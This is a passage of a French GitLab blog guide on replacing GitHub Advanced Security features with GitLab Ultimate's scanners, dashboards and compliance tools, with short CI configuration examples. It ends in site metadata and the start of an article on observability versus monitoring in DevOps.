vous pouvez simplement ajouter le [template SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) à votre fichier `.gitlab-ci.yml` :\n\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nUne fois le template ajouté, chaque fois qu'un nouveau code est enregistré, SAST détectera automatiquement les [langages de programmation](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) utilisés dans votre projet. Il analysera ensuite le code source afin de détecter des vulnérabilités connues.\n\n**Remarque :** des scanners de sécurité peuvent également être ajoutés à votre projet à l'aide de la [configuration de sécurité](https://docs.gitlab.com/ee/user/application_security/configuration/) de GitLab, qui peut créer automatiquement une merge request pour mettre à jour votre pipeline. Pour en savoir plus, consultez notre [documentation](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-by-using-the-ui).\n\nLes résultats SAST de la différence entre la branche de fonctionnalité et la branche cible s'affichent dans le widget de merge request. Le widget de merge request affiche les résultats et les résolutions SAST qui ont été introduits par les modifications apportées dans la merge request.\n\n![Analyse de sécurité dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/2-SAST-MR-View.png)\n\nChaque vulnérabilité affiche des données pour aider à la remédiation, y compris une description détaillée, la gravité, l'emplacement et des informations de résolution :\n\n![Détails de la vulnérabilité SAST](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/3-SAST-MR-View-Detailed.png)\n\nVous pouvez prendre des mesures pour corriger ces vulnérabilités :\n\n- **Ignorer la vulnérabilité** : permet aux équipes de développement d'ignorer la vulnérabilité avec un commentaire. Cela aide l'équipe de sécurité en charge de la revue.\n- **Créer un ticket** : permet de créer un ticket pour suivre une vulnérabilité nécessitant une surveillance supplémentaire.\n\nCes modifications peuvent également être visualisées lorsque vous basculez sur la vue **Modifications** de la merge request. \n\n![Vue des modifications de la vulnérabilité SAST](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/4-SAST-MR-View-Changes.png)\n\n#### Personnalisation des scanners SAST\n\nGitLab vous permet de remplacer une définition de job SAST afin de pouvoir modifier des propriétés telles que des variables, des dépendances ou des règles. Vous pouvez le faire en déclarant un job du même nom que le job SAST à remplacer. Ensuite, placez ce nouveau job après l'inclusion du template et spécifiez toutes les clés supplémentaires en dessous.\n\nPar exemple, la configuration suivante :\n- écrase la version utilisée par le scanner `semgrep-sast`\n- exécute un script pour récupérer des modules de projets privés avant d'exécuter `gosec-sast`\n- configure tous les scanners pour rechercher à une profondeur maximale de 10\n\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n\nvariables:\n  SEARCH_MAX_DEPTH: 10\n\nsemgrep-sast:\n  variables:\n    SAST_ANALYZER_IMAGE_TAG: \"3.7\"\n\ngosec-sast:\n  before_script:\n    - |\n      cat \u003C\u003CEOF > ~/.netrc\n      machine gitlab.com\n      login $CI_DEPLOY_user\n      password $CI_DEPLOY_PASSWORD\n      EOF\n```\n\n**Remarque :** Les jobs SAST disponibles sont inclus dans le [template `SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml). Vous trouverez les configurations dans notre [documentation sur les variables CI/CD SAST](https://docs.gitlab.com/ee/user/application_security/sast/#available-cicd-variables).\n\n#### Personnalisation des ensembles de règles SAST\n\nPour chaque scanner SAST, GitLab traite le code puis utilise des règles pour trouver d'éventuelles faiblesses dans le code source. Ces règles déterminent les types de faiblesses signalées par le scanner.\n\n- Pour les scanners SAST basés sur Semgrep, GitLab crée, maintient et prend en charge les règles utilisées. Il combine le moteur open source Semgrep, les règles de détection gérées par GitLab et la technologie propriétaire de GitLab pour le suivi des vulnérabilités et la détection des faux positifs.\n- Pour les autres scanners SAST, les règles sont définies dans les projets en amont pour chaque scanner.\n\nVous pouvez personnaliser le comportement des scanners SAST en définissant un fichier de configuration d'ensemble de règles dans le dépôt analysé :\n- Désactiver les règles prédéfinies (disponibles pour tous les scanners)\n- Remplacer les règles prédéfinies (disponibles pour tous les scanners)\n- Remplacer les règles prédéfinies en synthétisant une configuration personnalisée à l'aide de modes « passthrough »\n\nPour plus d'informations et d'exemples sur la configuration des règles SAST, consultez notre documentation sur les [règles SAST](https://docs.gitlab.com/ee/user/application_security/sast/rules.html) et sur la [personnalisation des ensembles de règles](https://docs.gitlab.com/ee/user/application_security/sast/customize_rulesets.html).\n\n### Analyse des secrets\n\nGitHub fournit une analyse des secrets, qui peut trouver, bloquer et révoquer les secrets divulgués. Vous pouvez effectuer les mêmes opérations au sein de GitLab en activant la [détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/).\n\nPour activer la détection des secrets dans GitLab, vous pouvez simplement ajouter le template suivant à votre fichier `.gitlab-ci.yml` :\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n```\n\nUne fois le template ajouté, chaque fois qu'un nouveau code est enregistré (ou qu'un pipeline est exécuté), le scanner de secrets analysera le code source pour y détecter des secrets connus. La détection des secrets de pipeline analyse différents aspects de votre code, en fonction de la situation. Pour toutes les méthodes, à l'exception de la « branche par défaut », la détection des secrets de pipeline analyse les validations et non l'arborescence de travail. Consultez notre [documentation sur la couverture de la détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#coverage) pour en savoir plus sur le fonctionnement de l'analyse des secrets.\n\nLors de la création d'une merge request, la détection des secrets analyse chaque validation effectuée sur la branche source. Tout comme dans SAST, chaque vulnérabilité détectée fournit les informations (telles que l'emplacement) et les identifiants suivants pour aider au processus de correction :\n\n![Détails de la vulnérabilité de la détection des secrets](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/5-Secret-Detection-MR-Detailed.png)\n\nComme pour le SAST, vous pouvez gérer ces vulnérabilités directement depuis la merge request, notamment en les ignorant ou en créant des tickets.\n\n#### Personnalisation des jobs de détection des secrets\n\nGitLab vous permet de remplacer une définition de job de détection des secrets afin de modifier des propriétés telles que des variables, des dépendances ou des règles. Vous pouvez le faire en déclarant un job du même nom que le job de détection des secrets. Ensuite, placez ce nouveau job après l'inclusion du template et spécifiez toutes les clés supplémentaires en dessous. Par exemple, la configuration suivante :\n\n- écrase l'étape du job de détection des secrets sur `sécurité`\n- permet l'analyse de l'historique\n- passe à la version 4.5 de Secrets Analyzer\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nsecret_detection:\n  stage: security\n  variables :\n    SECRET_DETECTION_HISTORIC_SCAN : \"true\"\n    SECRETS_ANALYZER_VERSION : \"4.5\"\n```\n\n**Remarque :** Les jobs de détection des secrets disponibles peuvent être trouvés dans le [template SAST.gitlab-ci.yml](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml). Vous trouverez les configurations disponibles dans notre [documentation sur les variables CI/CD de détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#customizing-analyzer-settings).\n\n#### Personnalisation des ensembles de règles de détection des secrets\n\nLe scanner de détection des secrets vous permet de personnaliser les secrets signalés dans l'interface utilisateur de GitLab. Les options de personnalisation suivantes peuvent être utilisées séparément ou en combinaison :\n\n- désactiver les règles prédéfinies\n- remplacer les règles prédéfinies\n- synthétiser une configuration personnalisée\n- spécifier un fichier de configuration à distance\n\nPar exemple, en créant le fichier `.gitlab/secret-detection-ruleset.toml`, dans le répertoire racine de votre projet, le paquet GitLeaks par défaut est étendu pour ignorer les jetons de test de la détection :\n\n```yaml\n### extended-gitleaks-config.toml\ntitle = \"extension of gitlab's default gitleaks config\"\n\n[extend]\n### Extends default packaged path\npath = \"/gitleaks.toml\"\n\n[allowlist]\n  description = \"allow list of test tokens to ignore in detection\"\n  regexTarget = \"match\"\n  regexes = [\n    '''glpat-1234567890abcdefghij''',\n  ]\n```\n\nPour plus d'informations sur le remplacement des règles prédéfinies du scanner, consultez notre [documentation sur la détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#override-predefined-analyzer-rules).\n\n#### Réponse automatique aux secrets divulgués\n\nLa détection des secrets de GitLab répond automatiquement lorsqu'elle trouve certains types de secrets divulgués. Les réponses automatiques peuvent :\n- révoquer automatiquement le secret\n- notifier le partenaire qui a émis le secret afin qu'il puisse le révoquer, notifier son propriétaire ou se protéger contre les abus\n\nGitLab peut également informer les partenaires lorsque les identifiants de connexion qu'ils émettent sont divulgués dans des dépôts publics sur GitLab.com. Si vous utilisez un produit cloud ou SaaS et que vous souhaitez recevoir ces notifications, vous pouvez implémenter une API partenaire, appelée par l'API de révocation de jetons GitLab. Consultez notre [documentation sur la réponse automatique aux secrets divulgués](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html) pour en savoir plus.\n\n### Sécurité de la chaîne d'approvisionnement\n\nGitHub vous permet de sécuriser, de gérer et de signaler des chaînes d'approvisionnement logicielles grâce à des mises à jour de sécurité et de version automatisées et à des [SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"Qu'est-ce qu'un SBOM ? \") en un clic. GitLab peut répondre à vos besoins en matière de sécurité de la chaîne d'approvisionnement à l'aide des fonctionnalités d'analyse des dépendances et de liste des dépendances (SBOM).\n\nPour activer l'analyse des dépendances dans GitLab, vous pouvez simplement ajouter le template suivant à votre fichier `.gitlab-ci.yml` :\n\n```yaml\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n```\n\nUne fois le template ajouté, chaque fois qu'un nouveau code est enregistré, l'analyse des dépendances détectera automatiquement les [gestionnaires de paquets](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers) utilisés dans votre projet. Elle analysera ensuite les dépendances utilisées pour détecter les vulnérabilités connues.\n\nLes résultats de l'analyse des dépendances de la différence entre la branche de fonctionnalité et la branche cible s'affichent dans le widget de merge request. Le widget de merge request affiche les résultats et les résolutions de l'analyse des dépendances qui ont été introduits par les modifications apportées à la merge request. Dans une merge request, chaque vulnérabilité affiche des informations pertinentes pour aider à la remédiation, telles que les identifiants, les preuves et les solutions :\n\n![Détails de la vulnérabilité de l'analyse des dépendances](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/6-Dependency-Scanner-MR-View-Detailed.png)\n\nComme pour SAST et la détection des secrets, vous pouvez remédier à ces vulnérabilités directement depuis la merge request, notamment en les ignorant ou en créant des tickets.\n\n#### Configuration de l'analyse des dépendances\n\nPour remplacer une définition de job (par exemple, pour modifier des propriétés telles que des variables ou des dépendances), déclarez un nouveau job du même nom que celui à remplacer. Placez ce nouveau job après l'inclusion du modèle et spécifiez toutes les clés supplémentaires en dessous. Par exemple, le code suivant :\n\n- désactive la correction automatique des dépendances vulnérables\n- nécessite un job de compilation à terminer avant l'analyse des dépendances\n\n```yaml\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n\ngemnasium-dependency_scanning:\n  variables:\n    DS_REMEDIATE: \"false\"\n  dependencies: [\"build\"]\n```\n\nPour en savoir plus sur la configuration des scanners de dépendances, consultez notre [documentation sur la personnalisation du comportement des scanners](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-analyzer-behavior).\n\n#### Génération d'une SBOM\n\nGitLab fournit une liste des dépendances (SBOM) pour examiner les dépendances de votre projet ou de votre groupe et les détails clés sur ces dépendances, notamment leurs vulnérabilités connues. Cette liste est un ensemble de dépendances dans votre projet qui comprend les résultats existants et nouveaux. La liste des dépendances est générée après l'exécution réussie du scanner de dépendances sur la [branche par défaut](https://docs.gitlab.com/ee/user/project/repository/branches/default.html). Pour accéder à la liste des dépendances :\n\n1. Dans la barre latérale gauche, sélectionnez **Rechercher ou accéder à** et trouvez votre projet.\n2. Sélectionnez **Sécurisation > Liste des dépendances**.\n\n![Liste des dépendances (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/7-Dependency-List.png)\n\nDe là, vous pouvez voir les informations suivantes sur vos dépendances :\n\n| Champ\t| Description |\n| ----- | ----------- | \n|Composant\t| Le nom et la version de la dépendance. |\n| Empaqueteur | L'empaqueteur utilisé pour installer la dépendance. |\n| Emplacement | Pour les dépendances système, cela répertorie l'image qui a été analysée. Pour les dépendances d'application, cela affiche un lien vers le fichier de verrouillage propre à l'empaqueteur dans votre projet qui a déclaré la dépendance. Il affiche également le chemin d'accès vers une dépendance racine le cas échéant, et si cette option est prise en charge. |\n| Licence | Liens vers les licences logicielles de la dépendance. Un badge d'avertissement qui inclut le nombre de vulnérabilités détectées dans la dépendance. |\n| Projets | Liens vers le projet avec la dépendance. Si plusieurs projets ont la même dépendance, le nombre total de ces projets est affiché. Pour accéder à un projet avec cette dépendance, sélectionnez le numéro du projet, puis recherchez et sélectionnez son nom. La fonctionnalité de recherche de projet n'est prise en charge que sur les groupes qui ont jusqu'à 600 occurrences dans leur hiérarchie de groupe. |\n\n\u003Cp>\u003C/p>\n\nConsultez notre [documentation sur la liste des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_list/) pour en savoir plus.\n\n### Administration de la sécurité et de la conformité\n\nGitHub Advanced Security vous permet de visualiser les métriques et les informations clés sur la sécurité et d'évaluer les risques de sécurité liés au code. Examinons maintenant comment faire de même avec GitLab Ultimate.\n\n#### Affichage des métriques et des informations clés sur la sécurité\n\nGitLab fournit des [tableaux de bord de sécurité](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) pour aider à évaluer la posture de sécurité de vos applications. Ces tableaux de bord affichent un ensemble de métriques, d'évaluations et de graphiques pour les vulnérabilités détectées par les scanners de sécurité exécutés sur votre projet :\n\n- tendances des vulnérabilités sur une période de 30, 60 ou 90 jours pour tous les projets d'un groupe\n- une note pour chaque projet en fonction de la gravité de la vulnérabilité\n- le nombre total de vulnérabilités détectées au cours des 365 derniers jours, y compris leur gravité\n\nPour accéder au tableau de bord de sécurité :\n\n1. Dans la barre latérale gauche, sélectionnez **Rechercher ou accéder à** et trouvez votre projet ou votre groupe.\n2. Dans l'onglet latéral, sélectionnez **Sécurisation > Tableau de bord de sécurité**.\n3. Filtrez et recherchez ce dont vous avez besoin.\n\nLa vue de groupe affiche votre posture de sécurité pour tous les projets de votre groupe :\n\n![Tableau de bord de sécurité de groupe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/8-SD-Group.png)\n\nLa vue du projet affiche votre posture de sécurité pour un seul projet :\n\n![Tableau de bord de sécurité de projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/9-SD-Project.png)\n\n#### Évaluer le risque de sécurité du code\n\nGitLab Ultimate dispose d'un [rapport de vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), qui fournit des informations sur les vulnérabilités des scans de la branche par défaut. Il contient les résultats cumulés de tous les jobs réussis, que l’exécution du pipeline ait réussi ou non. À tous les niveaux, le rapport de vulnérabilités contient :\n\n- le nombre total de vulnérabilités par niveau de gravité\n- les filtres des attributs de vulnérabilité courants\n- les détails de chaque vulnérabilité, présentés sous forme de tableau\n\n![Rapport de vulnérabilités](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/10-Vulnerability-Report.png)\n\nCliquer sur une vulnérabilité permet d'accéder à sa [page de vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/), qui contient un certain nombre d'informations : une description, un emplacement, des identifiants et plus encore. Voici un exemple de page pour une vulnérabilité d'injection SQL détectée par notre scanner SAST :\n\n![Page sur les vulnérabilités d'injection SQL](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/11-Vulnerability-Page-1.png)\n\nÀ partir de là, l'équipe de sécurité peut collaborer en [modifiant le statut d'une vulnérabilité](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#change-the-status-of-a-vulnerability), en ajoutant un motif et en [créant des tickets pour mieux suivre les changements apportés](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#create-a-gitlab-issue-for-a-vulnerability).\n\nDepuis la page de vulnérabilités, vous pouvez également tirer parti de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), notre suite de fonctionnalités alimentée par l'IA, pour expliquer la vulnérabilité et [créer automatiquement une merge request qui la résout](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution).\nL'[explication des vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation) de GitLab Duo utilise un grand modèle de langage pour :\n\n- résumer la vulnérabilité\n- aider les équipes de développement et les analystes en sécurité à comprendre la vulnérabilité, comment elle pourrait être exploitée et comment y remédier\n- suggérer une atténuation\n\n![Explication via l'IA de GitLab Duo de l'injection SQL](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/13-Explain-Vulnerability.png)\n\n## Fonctionnalités de sécurité supplémentaires de GitLab Ultimate\n\nGitLab Ultimate contient de nombreuses autres fonctionnalités de sécurité. En voici quelques exemples : des scanners de sécurité supplémentaires pour le cycle de vie complet du développement logiciel (SDLC), des garde-fous de sécurité granulaires et des autorisations personnalisées.\n\n### Scanners de sécurité pour l'ensemble du SDLC\n\nNotre portefeuille de scanners de sécurité s'étend à l'ensemble du SDLC.\n\n| Nom du scanner | Scans | Langages/Fichiers analysés|\n|  -------------- | ----- | ------------------------- |\n| [Tests statiques de sécurité des applications (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) | Code source statique | C/C++, Java, Python, Go, JavaScript, C# et plus encore |\n| [Tests dynamiques de sécurité des applications (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/) | Application Web en cours d'exécution, API en direct | Langage-agnostique |\n| [Analyse de l'Infrastructure as Code (IaC)](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) | Fichiers IaC |Terraform, AWS Cloud Formation, Ansible et plus encore |\n| [Analyse des conteneurs](https://docs.gitlab.com/ee/user/application_security/container_scanning/) | Images de conteneurs statiques et en cours d'exécution | Dockerfile |\n| [Analyse des dépendances et des licences](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Dépendances d'applications | Requirements.txt, Yarn, Gradle, Npm et plus encore |\n| [Tests d'API Web par injection de données aléatoires](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) | Envoie des données aléatoires/invalides à l'API Web | OpenAPI, GraphQL, HAR, Collection Postman |\n| [Test à données aléatoires guidé par la couverture de code](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) | Envoie des données aléatoires/invalides à la fonction | C/C++, Go, Swift, Python, Rust, Java, JavaScript, AFL |\n\n\u003Cp>\u003C/p>\n\nGitLab vous permet également d'intégrer des [scanners tiers](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/) et des [scanners personnalisés](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/) à la plateforme. Une fois intégrés, les résultats du scanner sont automatiquement présentés à différents emplacements dans GitLab, tels que dans la vue pipeline, le widget de merge request et le tableau de bord de sécurité. Consultez notre [documentation sur l'intégration du scanner de sécurité](https://docs.gitlab.com/ee/development/integrations/secure.html) pour en savoir plus.\n\n### Stratégies de sécurité et de conformité granulaires\n\nLes stratégies de GitLab fournissent aux équipes de sécurité et de conformité [un moyen d'appliquer des contrôles à l'échelle globale dans leur entreprise](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/). Les équipes de sécurité peuvent s'assurer que :\n\n- les scanners de sécurité sont appliqués dans les pipelines de l'équipe de développement selon une configuration appropriée\n- tous les jobs de scan s'exécutent sans modification ni altération\n- les approbations appropriées sont fournies sur les merge requests en fonction des résultats de ces constatations\n\n![Politiques de sécurité des requêtes de fusion](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/14-MR-Policy.png)\n\nLes équipes de conformité peuvent appliquer de manière centralisée plusieurs approbateurs à toutes les merge requests et s'assurer que divers paramètres sont activés sur les projets dans le cadre des exigences de leur entreprise, comme l'activation ou le verrouillage des paramètres de merge request et de dépôt. Pour en savoir plus, consultez notre documentation de la [stratégie de sécurité de GitLab](https://docs.gitlab.com/ee/user/application_security/policies/).\n\n### Rôles personnalisés et autorisations granulaires\n\n[GitLab Ultimate fournit des rôles personnalisés](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/), qui permettent la création de rôles utilisateur disposant des privilèges et des autorisations requis en fonction des besoins de l'entreprise. \n\nPar exemple, un utilisateur pourrait créer un rôle « Auditeur de sécurité » avec des autorisations lui permettant d'afficher les vulnérabilités de sécurité dans le système, mais sans être en mesure de voir le code source ni d'effectuer des modifications dans le dépôt. Cet ensemble granulaire d'autorisations permet une séparation bien définie des tâches.\n\n![Création de rôle personnalisé](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/15-Custom-Roles.png)\n\nPour en savoir plus, consultez notre documentation sur les [rôles personnalisés](https://docs.gitlab.com/ee/user/custom_roles.html) et les [autorisations granulaires disponibles](https://docs.gitlab.com/ee/user/custom_roles/abilities.html).\n\n### Centre de conformité \n\nLe Centre de conformité permet aux équipes dédiées de gérer les rapports sur le respect des normes de conformité, les rapports sur les violations et les frameworks de conformité pour leur groupe. Le Centre de conformité comprend les éléments suivants :\n\n- Le [tableau de bord du respect des normes de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html), qui répertorie l'état de conformité des projets répondant à la norme GitLab.\n- Le [rapport sur les violations des exigences de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_violations_report.html) affiche une vue d'ensemble des activités liées aux merge requests pour tous les projets du groupe.\n- Le [rapport sur les frameworks de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_frameworks_report.html) montre tous les frameworks de conformité au sein d'un groupe.\n- Le [rapport sur les projets de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_projects_report.html) montre les frameworks de conformité appliqués aux projets dans un groupe.\n\n![Centre de conformité](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/16-Compliance-Center.png)\n\nCes tableaux de bord aident à s'assurer que la séparation des tâches est respectée pour optimiser la conformité au sein de votre entreprise. Pour en savoir plus, consultez notre [documentation sur notre Centre de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/).\n\n## En savoir plus\n\nCet article ne couvre qu'une partie du large éventail de fonctionnalités de sécurité offertes par GitLab Ultimate. Consultez ces ressources pour en savoir plus sur la façon dont GitLab Ultimate peut vous aider à améliorer la sécurité de votre entreprise et l'efficacité des équipes de développement :\n\n- [Pourquoi GitLab Ultimate ?](https://about.gitlab.com/pricing/ultimate/)\n- [Tutoriel de prise en main de l'approche DevSecOps](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/)\n- [Premiers pas avec l'exemple de projet DevSecOps](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n- [Importer votre projet de GitHub vers GitLab](https://docs.gitlab.com/ee/user/project/import/github.html)\n- [Migration depuis GitHub Actions](https://docs.gitlab.com/ee/ci/migration/github_actions.html)\n- [Tutoriel : créer et exécuter votre premier pipeline GitLab CI/CD](https://docs.gitlab.com/ee/ci/quick_start/)\n- [Tutoriel : créer un pipeline complexe](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html)\n- [Référence de la syntaxe YAML CI/CD](https://docs.gitlab.com/ee/ci/yaml/)",[731,1021,9,753,939],"zero trust","2025-02-25",{"slug":1024,"featured":90,"template":689},"migration-guide-github-advanced-security-to-gitlab-ultimate","content:fr-fr:blog:migration-guide-github-advanced-security-to-gitlab-ultimate.yml","Migration Guide Github Advanced Security To Gitlab Ultimate","fr-fr/blog/migration-guide-github-advanced-security-to-gitlab-ultimate.yml","fr-fr/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"_path":1030,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":1031,"content":1037,"config":1046,"_id":1048,"_type":13,"title":1049,"_source":15,"_file":1050,"_stem":1051,"_extension":18},"/fr-fr/blog/observability-vs-monitoring-in-devops",{"title":1032,"description":1033,"ogTitle":1032,"ogDescription":1033,"noIndex":6,"ogImage":1034,"ogUrl":1035,"ogSiteName":673,"ogType":674,"canonicalUrls":1035,"schema":1036},"DevOps : de la surveillance à l'observabilité","Vous souhaitez bénéficier d'une visibilité totale sur l'ensemble du cycle de développement de vos logiciels ? La réponse tient en un mot : l'observabilité.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665484/Blog/Hero%20Images/monitoring-update-feature-image.jpg","https://about.gitlab.com/blog/observability-vs-monitoring-in-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps : de la surveillance à l'observabilité\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Vanbuskirk\"}],\n        \"datePublished\": \"2022-06-14\",\n      }",{"title":1032,"description":1033,"authors":1038,"heroImage":1034,"date":1040,"body":1041,"category":1042,"tags":1043,"updatedDate":917},[1039],"Mike Vanbuskirk","2022-06-14","Presque toutes les infrastructures logicielles modernes comportent des fonctions de surveillance ou de journalisation. Lancé dans les années 1980, le protocole Syslog pour les systèmes Unix a constitué un premier exemple d'audit et d'analyse des opérations à l'intérieur d'un système. Il illustre l'importance d'un mécanisme de surveillance dédié et distinct sur le plan architectural.\n\nEn dépit de son importance, la surveillance (ou monitoring) est cependant trop souvent envisagée et utilisée après coup. Les informations des systèmes de journalisation ne sont pas agrégées ou analysées pour établir des diagnostics, tandis que les systèmes de surveillance installés des années auparavant ne sont pas mis aux normes.\n\nLe paysage opérationnel a cependant évolué, donnant naissance au concept d'observabilité. Plutôt que de former des hypothèses à partir de mesures statiques, l'observabilité apporte une vue d'ensemble du comportement d'une application, et permet de comprendre comment ses performances sont perçues par les utilisateurs et utilisatrices. \n\n## Qu’est-ce que l'observabilité ?\n\nL’observabilité est la collecte et l'analyse exhaustive des données de l'ensemble des composants d'un système informatique. Elle fournit des informations détaillées sur les applications de l'environnement, qui sont essentielles à la compréhension du fonctionnement des architectures dynamiques modernes, et notamment des plateformes dans le cloud. \n\nPour comprendre l’importance de l'observabilité, commençons par définir la notion de surveillance, ainsi que les informations que cette approche permet ou non de couvrir.\n\nLa surveillance consiste à mesurer certaines données et valeurs au sein d'un système ou d'un logiciel, et à en présenter les résultats. Les mesures les plus courantes sont l'utilisation d’un processeur, d’une mémoire vive, et des temps de réponse ou de latence. De même, les systèmes de journalisation classiques fournissent une information statique sur des événements survenus pendant le fonctionnement du système.\n\nLa surveillance fournit des mesures dans un contexte limité, pouvant indiquer un problème plus important dans le système. Les outils de surveillance traditionnels permettent d'agréger et de corréler les informations. Cependant, une configuration manuelle est souvent nécessaire afin d'obtenir une vue d'ensemble. \n\n### Observabilité ou monitoring\n\nAvec le temps, le concept de surveillance a dépassé les mesures statiques d'éléments tels que l'utilisation du processeur. Dans son célèbre ouvrage *Site Reliability Engineering*, Google souligne l'impératif de se concentrer sur quatre [Golden Signals (ou signaux d'or)](https://sre.google/sre-book/monitoring-distributed-systems/ \"Golden Signals de Google\") : \n- La latence : le temps nécessaire pour traiter une requête\n- Le trafic : la mesure du haut niveau de charge global\n- Les erreurs : le taux d'échec des requêtes\n- La saturation : la mesure de l'utilisation des ressources comme fraction de l'ensemble, consacrée généralement aux ressources limitées.\n\nBien que ces mesures aident à comprendre les performances globales du système, elles nécessitent encore un investissement technique tangible afin de concevoir, mettre en place et configurer un système de surveillance complet. L'énumération des modes de défaillance possible demande un effort considérable, tout comme la définition et l’association manuelle des corrélations, même pour des cas simples. \n\nEn revanche, l'observabilité offre une image beaucoup plus intuitive et complète, interopérable avec l'ensemble des modules du système. Ainsi, vous n'avez pas besoin de concevoir un tableau de bord agrégeant des outils de surveillance disparates. Une plateforme d'observabilité est suffisamment flexible pour présenter automatiquement les informations critiques dans le contexte adéquat. Les outils d'observabilité peuvent ainsi fournir aux équipes de développement un retour sur les performances des exécutions CI/CD et une information sur la qualité de leur code.\n\nEn fin de compte, l'observabilité informatique fournit une forme de débogage et de compréhension des erreurs plus globale. Les données d'observabilité d'un système peuvent mettre en évidence des incidents totalement nouveaux (*unknown unknowns*). Ce qui peut revêtir une importance capitale, comme le montre l'exemple fourni dans la section suivante.\n\n## Pourquoi privilégier l'observabilité ?\n\nL'observabilité aide à réduire le temps moyen de résolution (MTTR). Cela se traduit par des interruptions plus courtes, des applications plus performantes et une amélioration de l'expérience des utilisateurs. Si à première vue la surveillance peut sembler offrir les mêmes avantages, considérez l’anecdote suivante. \n\nUne équipe d'ingénieurs reçoit un message du service comptable. La facture des fournisseurs de service cloud est devenue si onéreuse que le directeur financier s'en est rendu compte. Les ingénieurs DevOps consultent le système de surveillance, mais en vain : chaque partie du système est au vert pour des éléments tels que la mémoire, le processeur et les entrées et sorties de disque. En réalité, la cause profonde provient d'un autre événement totalement inconnu. \n\nUne latence DNS dans les [pipelines CI/CD](https://docs.gitlab.com/ee/ci/pipelines/ \"Pipelines CI/CD de GitLab\") provoque un taux d'échec des compilations élevé, et les nouvelles tentatives consomment fortement les ressources cloud. Cependant, le phénomène ne perdure pas assez longtemps pour être repéré par le système de surveillance. En ajoutant des outils d'observabilité et en collectant tous les types d'événements dans l'environnement, l'équipe a pu enfin identifier la source du problème et y remédier. Avec un système de surveillance traditionnel, l'organisation aurait dû a priori connaître le problème de latence DNS pour pouvoir l'identifier.\n\nL'observabilité d'un système a également de l'importance pour les équipes non 